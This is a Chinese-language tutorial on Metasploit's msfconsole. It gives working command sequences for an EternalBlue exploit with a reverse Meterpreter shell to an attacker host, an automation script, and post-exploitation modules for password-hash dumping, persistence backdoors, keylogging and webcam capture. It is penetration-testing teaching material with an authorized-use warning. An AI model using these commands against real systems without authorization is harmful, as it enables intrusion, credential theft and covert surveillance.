Metasploit Framework的msfconsole是一个功能强大的渗透测试框架,核心在于其模块化结构。你可以通过组合不同的模块,构建完整的测试流程。下表概述了其核心模块类型及典型用途:
模块类型
主要功能
典型应用场景举例
常用命令/关键词
辅助模块 (Auxiliary)
信息收集、扫描、拒绝服务攻击等。
端口扫描、服务指纹识别、弱口令爆破。
auxiliary/scanner/
渗透攻击模块 (Exploit)
利用特定漏洞获得目标系统初始访问权限。
攻击已知漏洞的Samba、VSFTPD服务。
exploit/
攻击载荷 (Payload)
在成功渗透后,在目标系统上运行的代码。
获取反向Shell(reverse_tcp)、Meterpreter高级控制。
set payload
编码器 (Encoder)
对攻击载荷进行编码,以绕过杀毒软件(AV)检测。
在生成木马文件前对载荷进行多重编码。
msfvenom -e
后渗透模块 (Post)
在已控制目标后,进行信息收集、权限提升、内网移动等。
检查是否为虚拟机、获取密码哈希、安装后门。
post/
Metasploit Framework(简称 MSF)是业界最著名的开源渗透测试平台之一,由 Rapid7 维护。msfconsole是其命令行交互式界面,功能强大、模块丰富,广泛用于漏洞利用、后渗透、信息收集等任务。
以下是对msfconsole的超详细使用说明,包括核心概念、常用命令、各功能模块详解及实战示例。
一、基本概念
1. Metasploit 模块类型
Exploit(漏洞利用模块):利用目标系统中的漏洞执行代码。
Payload(载荷):在成功利用后执行的代码,如反弹 shell、Meterpreter 等。
Auxiliary(辅助模块):用于扫描、枚举、DoS、嗅探等非直接攻击任务。
Post(后渗透模块):在获得会话后执行的提权、信息收集、持久化等操作。
Encoder(编码器):对 payload 进行编码以绕过 AV/IDS。
NOP(空指令生成器):用于堆栈溢出等场景。
Evasion(规避模块):生成可绕过杀毒软件的恶意文件(较新版本支持)。
二、启动 msfconsole
bash
编辑
msfconsole
首次启动会加载数据库(建议配置 PostgreSQL 以启用数据库功能)。
三、常用全局命令(在 msfconsole 中)
表格
命令
功能
help或?
显示帮助
show exploits
列出所有 exploit 模块
show auxiliary
列出辅助模块
show payloads
列出可用 payload
show options
显示当前模块所需参数
use <module>
加载指定模块(如use exploit/windows/smb/ms17_010_eternalblue)
set <OPTION> <VALUE>
设置模块参数
unset <OPTION>
取消设置
setg <OPTION> <VALUE>
全局设置(所有模块共享)
getg
查看全局变量
info <module>
查看模块详细信息
search <keyword>
搜索模块(支持 CVE、平台、类型等)
jobs
查看后台任务
sessions
查看已建立的会话
exit/quit
退出
四、核心模块详解
1. Exploit 模块使用流程
示例:利用 EternalBlue (MS17-010)
bash
编辑
msf6 > search ms17_010
# 选择 exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 查看选项
msf6 > show options
# 设置必要参数
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
# 执行攻击
msf6 > exploit
成功后将获得一个 Meterpreter 会话。
2. Payload 类型说明
Staged vs Stageless
Staged(分阶段):先传小 stub,再下载完整 payload(如windows/meterpreter/reverse_tcp)
Stageless(无阶段):一次性传输完整 payload(如windows/x64/meterpreter_reverse_tcp)
常见 Payload
cmd/unix/reverse_netcat:简单反向 shell(Unix)
windows/shell/reverse_tcp:Windows 命令行 shell
windows/meterpreter/reverse_https:加密通信的高级后渗透 shell
3. Auxiliary(辅助)模块
用于信息收集或漏洞探测,不直接执行 payload。
示例:SMB 版本扫描
bash
编辑
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run
其他常用辅助模块:
scanner/portscan/tcp:TCP 端口扫描
scanner/http/dir_scanner:目录爆破
scanner/ssh/ssh_login:SSH 暴力破解
admin/http/tomcat_administration:Tomcat 后台爆破
4. Post(后渗透)模块
在已有 Meterpreter 会话中使用。
bash
编辑
msf6 > sessions -i 1 # 进入会话 1
meterpreter > sysinfo # 查看系统信息
# 返回 msfconsole 后运行 post 模块
msf6 > use post/windows/gather/enum_logged_on_users
msf6 > set SESSION 1
msf6 > run
常用 Post 模块:
post/windows/manage/enable_rdp:开启远程桌面
post/windows/gather/hashdump:导出 SAM 哈希
post/multi/recon/local_exploit_suggester:本地提权建议
post/windows/manage/persistence:添加持久化后门
5. Meterpreter 高级 Shell
Meterpreter 是 Metasploit 最强大的 payload,内存驻留、加密通信、可扩展。
常用 Meterpreter 命令:
表格
命令
功能
sysinfo
系统信息
getuid
当前用户
ps
进程列表
migrate <PID>
迁移到其他进程(防崩溃)
shell
获取系统 shell
download / upload
文件传输
screenshot
截图
webcam_list / webcam_snap
调用摄像头
keyscan_start / keyscan_dump
键盘记录
run post/windows/manage/migrate
自动迁移到 explorer.exe
五、数据库集成(强烈推荐)
Metasploit 支持 PostgreSQL 数据库存储扫描结果、主机信息等。
初始化数据库(Kali Linux 默认已配置):
bash
编辑
sudo systemctl start postgresql
sudo msfdb init
在 msfconsole 中验证:
bash
编辑
msf6 > db_status
[*] Connected to msf
导入 Nmap 扫描结果:
bash
编辑
msf6 > db_import /path/to/scan.xml
msf6 > hosts
msf6 > services
六、资源脚本(自动化)
可编写.rc脚本实现自动化渗透。
example.rc:
rc
编辑
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j
运行:
bash
编辑
msfconsole -r example.rc
七、安全与法律提醒 ⚠️
仅限授权测试:未经授权的渗透测试属于违法行为。
实验环境隔离:建议在虚拟机(如 VMware + NAT 网络)中练习。
更新 MSF:定期运行msfupdate获取最新漏洞模块。
八、学习资源推荐
官方文档:https://docs.metasploit.com/
Metasploit Unleashed(免费课程):https://www.offensive-security.com/metasploit-unleashed/
书籍:《Metasploit: The Penetration Tester’s Guide》
msfconsole渗透工具如何实现超详细使用步骤?
摘要:Metasploit Framework的msfconsole是一个功能强大的渗透测试框架,核心在于其模块化结构。你可以通过组合不同的模块,构建完整的测试流程。下表概述了其核心模块类型及典型用途: 模块类型 主要功能 典型应用场景举例 常用
